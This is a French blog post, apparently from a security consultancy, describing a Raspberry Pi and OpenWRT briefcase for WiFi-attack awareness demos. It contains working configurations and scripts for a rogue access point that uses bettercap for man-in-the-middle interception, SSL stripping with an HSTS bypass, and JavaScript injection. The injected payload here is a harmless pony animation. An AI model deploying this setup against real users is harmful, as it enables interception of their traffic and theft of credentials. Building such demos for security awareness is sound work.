Le mineur sans fil (un outil de sensibilisation WiFi)

Le mineur sans fil (un outil de sensibilisation WiFi)

Lors des campagnes de sensibilisation, NES Conseil est souvent confronté à la mise en place de démonstrations d’attaques WiFi pour que les utilisateurs prennent la mesure des dangers qui peuvent les affecter lors de l’utilisation de réseaux WiFi inconnus / publics / malveillants.

J’ai donc décidé d’assembler une plateforme modulaire qui tiens dans une mallette et qui soit évolutive pour pouvoir réaliser des attaques WiFi, simplement en alimentant la mallette.

Je vais vous détailler la conception du Mineur sans fil qui est présenté lors de la conférence Secu’RT du 1er Mars 2018 à l’IUT de Montbéliard.

Voici la liste de courses :

1x mallette (rouge ou noire) antichoc de 10,5 x 21,6 x 27,1 cm (https://www.amazon.fr/gp/product/B00HN0EIJE/)
1x Raspberry Pi3 modèle B (https://www.amazon.fr/Raspberry-Pi-Carte-Mère-Model/dp/B01CD5VC92/)
1x Carte SD de 8Go ou 16Go class 10 (https://www.amazon.fr/PNY-mémoire-MicroSDHC-Performance-adaptateur/dp/B017VQDX9U/)
1x AP WiFi sous OpenWRT b/g/n 300Mbps (https://www.amazon.fr/gp/product/B01K6MHRJI/)
1x lot de 2 pigtail RP-SMA (https://www.amazon.fr/gp/product/B00V5YGAD6/)
1x câble RJ45 plat 20 à 50 cm (https://www.amazon.fr/Wenbest-Cat6-Speed-r%C3%A9seau-Gigabit-Ethernet/dp/B079N2WZ6Z/)
1x Batterie USB 20000mA (https://www.amazon.fr/gp/product/B00VJSGT2A/)
1x Chargeur USB 2 à 2,4A (https://www.amazon.fr/gp/product/B00MVHKTZQ/)

En option :

1x écran LCD pour Raspberry Pi 2/3 modèle B (https://www.amazon.fr/gp/product/B01CNLYL1C/)
1x Clavier sans fil + pad (https://www.amazon.fr/gp/product/B01DBUHG70/)

Principe de fonctionnement :


Contenu de la mallette et principe de fonctionnement.

La partie point d’accès WiFi est déléguée pour ce projet à un point d’accès miniature fonctionnant sous OpenWRT. Ce dernier peut être configuré simplement au moyen de son interface Web (LuCi) pour proposer un SSID chiffré (WEP, WPA-PSK, WPA2-PSK) ou non (OPEN). Il sera configuré avec l’IP 172.16.9.250 sur son interface LAN (eth1) qui sera connecté à l’interface Ethernet du Raspberry Pi3 (eth0). Son interface WiFi (wlan0) sera configurée en mode bridge avec l’interface LAN (br-lan). L’interface WAN (eth0) peut être désactivée.

Le Raspberry Pi 3 assurera les fonctions de serveur DHCP et Cache DNS au moyen de dnsmasq. Il s’occupera des actions d’interception du trafic au moyen de bettercap. Et il pourra servir du contenu web local au moyen du serveur nginx (pages html et javascript) ceci afin de décharger la connexion Internet partagée auquel il pourra se connecter soit avec sa carte WiFi intégrée (wlan0) et wpa_supplicant soit via un partage de connexion USB (Android) connecté sur un port du Raspberry Pi (usb0). Les connexions IP sortantes seront NATées au moyen d’iptables. Il sera configuré avec l’adresse 172.16.9.254 sur son interface Ethernet (eth0). Il sera administrable à distance au moyen d’un serveur ssh. Optionnellement on peut y connecter un écran LCD et un clavier/souris sans fil pour les opérations d’installation, de test et debug.

Installation du Raspberry Pi3 :

Premièrement il faut télécharger la dernière version de Raspian strech lite (https://www.raspberrypi.org/downloads/raspbian/) en effet nous n’aurons pas l’utilité du bureau (GUI) et ce sera plus léger pour la carte SD.

L’image pour la carte microSD se trouve dans une archive zip. Il faut l’extraire puis l’écrire sur la carte microSD au moyen d’un ordinateur ou avec NOOBS. Suivez les instructions ici : https://www.raspberrypi.org/documentation/installation/installing-images/README.md

Une fois la distribution Debian Stretch copiée sur la carte microSD, si vous la placez dans le raspberry Pi, ce dernier à la mise sous tension devrait démarrer (vous aurez besoin de le connecter à un écran HDMI, un clavier et une connexion Internet pour débuter sa configuration).

Vous devriez vous retrouver sur l’écran de Login du terminal.

Commencez par changer le mot de passe par défaut de l’utilisateur pi (raspberry) et aussi de l’utilisateur root.

sudo passwd pi
sudo passwd root

Utilisez le menu raspi-config et agrandissez le système de fichier pour qu’il occupe toute la carte microSD


Menu raspi-config

Le Raspberry Pi va redémarrer pour cette opération.

Ensuite connectez-le sur Internet au moyen du port Ethernet ou bien de la connexion WiFi.

Vérifiez la connectivité Internet (Ex : ping www.google.fr )

Puis réalisez les mises à jour :

sudo apt-get update
sudo apt-get upgrade
sudo apt-get dist-upgrade

Puis réalisez la mise à jour du firmware :

sudo rpi-update

 


Mise à  jour du firmware du Raspberry Pi.

Redémarrer le Raspberry Pi.

Nettoyez le cache des paquets : apt autoremove

Optionnel : Installez le support de l’écran LCD pour le Raspbery Pi 3.

L’installation dépends du modèle d’écran LCD, reportez-vous à la documentation livrée avec l’écran LCD. Pour ma part la documentation m’installait une vieille version de la lib LCD et donc j’ai préféré installer la dernière version qui fonctionne très bien avec ce LCD (c’est un clone chinois compatible avec le LCD officiel pour Raspberry).

Il vous faudra peut-être installer les paquets suivants :

sudo apt-get install build-essential git wget curl raspberrypi-kernel-headers

Se placer dans /usr/src

Récupérer le dépôt pour le LCD avec la commande suivante :

git clone https://github.com/goodtft/LCD-show.git

Se placer dans le répertoire LCD-show

Puis lancer : sudo ./tft35-show

Cela va installer les pilotes de l’écran LCD, puis le Raspbery Pi va redémarrer et vous devriez voir le terminal s’afficher sur le LCD.

 

Installation et configuration du Raspberry Pi 3 :

Installez les paquets suivants :

sudo apt–get install build–essential ruby–dev libpcap–dev dnsmasq nginx iptables tmux ssl-cert

Installation de bettercap :

sudo gem install bettercap && sudo gem update bettercap

Il se peut que l’installation de bettercap pose problème :

ERROR:  Error installing bettercap:

nio4r requires Ruby version >= 2.2.2.

Dans ce cas il est possible d’utiliser l’astuce suivante :

sudo gem install nio4r -v 1.2.1 && sudo gem install bettercap

 

Configuration du Raspberry Pi 3

La configuration IP se trouve dans /etc/network/interfaces

auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
   address 172.16.9.254
   netmask 255.255.255.0
   broadcast 172.16.9.255

auto wlan0
allow-hotplug wlan0
iface wlan0 inet dhcp
   wpa-conf /etc/wpa_supplicant/wpa_supplicant-wlan0.conf
   post-up /root/interceptor.sh

source-directory /etc/network/interfaces.d

 

La configuration de dnsmasq se trouve dans /etc/dnsmasq.conf

local=/evil.localnet/
address=/controller/172.16.9.254
address=/controller.evil.localnet/172.16.9.254
address=/www.controller.evil.localnet/172.16.9.254
interface=eth0
listen-address=172.16.9.254,127.0.0.1
no-hosts
expand-hosts
domain=evil.localnet
dhcp-range=172.16.9.10,172.16.9.50,8h
dhcp-option=3,172.16.9.254
dhcp-option=option:ntp-server,172.16.9.254
dhcp-option=option:dns-server,172.16.9.254
dhcp-lease-max=50
dhcp-leasefile=/var/lib/misc/dnsmasq.leases
dhcp-authoritative
cache-size=50
log-queries
log-dhcp

 

Il faut aussi éditer le fichier /etc/default/dnsmasq

DNSMASQ_OPTS="--conf-file=/etc/dnsmasq.conf"
ENABLED=1
CONFIG_DIR=/etc/dnsmasq.d,.dpkg-dist,.dpkg-old,.dpkg-new

 

Quelques déclarations ont été ajoutés dans le fichier /etc/hosts

127.0.0.1      localhost

127.0.1.1      raspberrypi
172.16.9.254    controller
172.16.9.254    controller.evil.localnet
172.16.9.254    www.controller.evil.localnet

 

J’ai opté pour une connexion à Internet via un partage de connexion 4G sur mon smartphone Android en WPA2-PSK,
la configuration se trouve dans /etc/wpa_supplicant/wpa_supplicant-wlan0.conf

ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev

update_config=1
country=FR
network={
   ssid="wifi.test.nes2"
   psk="<clef psk min 8 char>"
}

 

Pour que la connexion se lance automatiquement au démarrage du Raspberry Pi il faut ré-enregistrer le service wpa_supplicant :

sudo systemctl disable wpa_supplicant.service
sudo systemctl enable wpa_supplicant@wlan0.service

 

La configuration du serveur nginx se trouve dans /etc/nginx/sites-enabled/default

server {
   listen 80 default_server;
   listen [::]:80 default_server;
   listen 443 ssl default_server;
   listen [::]:443 ssl default_server;
   include snippets/snakeoil.conf;
   root /var/www/browserpony;
   index index.html index.htm;
   server_name _;
   location / {
      try_files $uri $uri/ =404;
      add_header 'Access-Control-Allow-Origin' '*';
   }
   location ~ /\.ht {
      deny all;
   }
}

 

Pour le serveur Nginx, il va s’occuper de servir les pages et scripts suivants :

Placez-vous dans le répertoire /var/www

Récupérez le dépôt : git clone https://github.com/panzi/Browser-Ponies.git

Renommez le répertoire Browser-Ponies en browserpony ( mv Browser-Ponies browserpony ).

Changez le propriétaire du répertoire : sudo chown –R www-data:www-data /var/www

Paramétrez le démarrage de nginx : sudo update-rc.d -f nginx defaults

 

Création des scripts pour l’automatisation de l’attaque :

Les scripts suivants ont été créés pour automatiser le démarrage de l’attaque et de l’interception des flux.

Fichier /root/ponies.js.txt

<script type="text/javascript" src="//172.16.9.254/ponycfg.js" id="browser-ponies-config"></script>
<script type="text/javascript" src="//172.16.9.254/browserponies.js" id="browser-ponies-script"></script>

<script type="text/javascript" src="http://172.16.9.254/ponycfg.js" id="browser-ponies-config"></script>
<script type="text/javascript" src="http://172.16.9.254/browserponies.js" id="browser-ponies-script"></script>

 

Fichier /root/test_connection.sh

#!/bin/bash

if ping -c 1 google.com >> /dev/null 2>&1; then
   echo "online"
else
   echo "offline"
   /root/wifi_up.sh
fi

 

Fichier /root/wifi_up.sh

#!/bin/bash

IFCFG=`which ifconfig`
WPAS=`which wpa_supplicant`
DHC=`which dhclient`

ifdown wlan0
killall dhclient
killall dhclient
killall wpa_supplicant
killall wpa_supplicant

$IFCFG wlan0 up
$WPAS -Dnl80211 -iwlan0 -c/etc/wpa_supplicant/wpa_supplicant-wlan0.conf &
sleep 5
$DHC -v wlan0
sleep 3
ping -c 3 www.google.fr

 

Fichier /root/intercept.sh

#!/bin/bash

IFCFG=`which ifconfig`
IPT=`which iptables`
BTC=`which bettercap`

/root/test_connection.sh

echo 1 > /proc/sys/net/ipv4/ip_forward

$IPT -F
$IPT -X
$IPT -t nat -F
$IPT -t nat -X
$IPT -t mangle -F
$IPT -t mangle -X

$IPT -t nat -I POSTROUTING -s 172.16.9.0/24 -d 0.0.0.0/0 -o wlan0 -j MASQUERADE
$IPT -t mangle -A FORWARD -s 172.16.9.0/24 -d 0.0.0.0/0 -o wlan0 -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --clamp-mss-to-pmtu

export HOME=/root
$BTC -T 172.16.9.10-50 -I eth0 -G 172.16.9.254 --ignore 172.16.9.254 --allow-local-connections --no-spoofing --proxy --proxy-module injectjs --js-file /root/ponies.js.txt > /var/log/intercept.log 2>&1

 

Fichier /root/interceptor.sh

#!/bin/bash

localectl set-locale LANG=en_US.UTF-8
tmux new-session -d -s bettercap_session '/root/intercept.sh'

 

Adaptations / modifications :

Quelques adaptations doivent être faites sur bettercap et dans les fichiers de browser-ponies pour que le ssl stripping fonctionne et que les scripts javascript pointent sur le serveur nginx local.

Fichier /var/lib/gems/2.3.0/gems/bettercap-1.6.2/lib/bettercap/proxy/http/sslstrip/strip.rb

Recherchez la ligne :

class Strip
    # Maximum number of redirects to detect a HTTPS redirect loop.
    MAX_REDIRECTS = 3
    # Regular expression used to parse HTTPS urls.
    HTTPS_URL_RE  = /(https:\/\/[^"'\/]+)/i
    # Create an instance of this object.

 

Et remplacez-la par la ligne :

  # Regular expression used to parse HTTPS urls.
  # Modified by avanetti to exclude local private IP addresses
  HTTPS_URL_RE  = /(https:\/\/(?!10\.|172\.16\.|192\.168\.)[^"'\/]+)/i
  # Create an instance of this object.

 

Dans le fichier /var/www/browserpony/ponycfg.js

var BrowserPoniesConfig = {
  autostart: true,
  spawn: {
     "Rainbow Dash": 1,
     "Pinkie Pie": 1,

 

Insérez après la ligne identifiée ci-dessus :

var BrowserPoniesConfig = {
   "baseurl":"http://172.16.9.254/",
   "volume":1,
   "audioEnabled":true,
   autostart: true,
   spawn: {
      "Rainbow Dash": 1,
      "Pinkie Pie": 1,

 

Dans le fichier /var/www/browserpony/browserponies.js

Recherchez la ligne suivante :

                fix: function (url) {
                   return url.replace(/^https?:\/\/web\d?\.student\.tuwien\.ac\.at\/~e0427417\/browser-ponies\//,"https://panzi.github.com/Browser-Ponies/");
                }

 

Et remplacez-la par la ligne suivante :

                fix: function (url) {
                   return url.replace(/^https?:\/\/web\d?\.student\.tuwien\.ac\.at\/~e0427417\/browser-ponies\//,"http://172.16.9.254/");
                }

 

Configuration de OpenWRT :

Par défaut quand le routeur GliNet est livré, il utilise l’adresse 192.168.0.1 et un serveur DHCP fonctionne sur ce dernier et attribue des adresses.

Dans un premier temps il faut se connecter sur l’interface LuCi :


Mire de login LuCi d’OpenWRT.

La première chose à faire est de changer le mot de passe par défaut de GliNet (root:goodlife) :


Page de changement du mot de passe.

Ensuite il faut configurer l’interface LAN avec l’adresse 172.16.9.250 :


Liste des interfaces réseau.


Configuration IP de la carte LAN

Il faut désactiver le serveur DHCP sur cette interface :

Il faut ensuite placer l’interface en mode bridge avec l’interface WiFi :

Vérifiez que le Firewall autorise les flux sur l’interface LAN :

Appliquez la configuration et redémarrez.

Changez votre adresse IP de votre poste en 172.16.9.1 et continuez la configuration LuCi sur l’adresse 172.16.9.250

Ajoutez un SSID et éditez sa configuration :

Désactivez le support de l’IPv6 sur la carte WAN6

Appliquez la configuration et redémarrez.

Connectez le port LAN de OpenWRT au port réseau Ethernet du Raspberry Pi.

 

Voila ! Il suffit maintenant de redémarrer le Raspberry Pi et ce dernier va tenter de se connecter à une connexion Internet (partage de la 4G de mon smartphone) en WiFi nommée wifi.test.nes2

Ensuite des règles iptables vont configurer le routage des paquets et le NAT des adresses IPs internes des clients du pool DHCP par l’adresse IP de la connexion WiFi partagée.

Le serveur nginx va démarrer pour servir en http et en https (avec un certificat auto-signé) les fichiers javascript et les images et sons des Poneys.

Ensuite le logiciel bettercap va s’exécuter et s’occupera de l’interception des flux http pour y injecter le script qui fera apparaître des poneys sur les sites web visités via le point d’accès fourni par OpenWRT (SSID : SECURT2018).

Bettercap est en mesure de réaliser une attaque de SSL STRIPPING sur les sites qui ne protègent pas leur certificat par la méthode du « Certificate Pinning ».

Bettercap est en mesure de réaliser le contournement de la protection HSTS au moyen de l’interception DNS en fournissant des alias sous forme de CNAME lors des requêtes vers des sites protégés par HSTS.

Quelques photos du projet finalisé :

Aymeric VANETTI.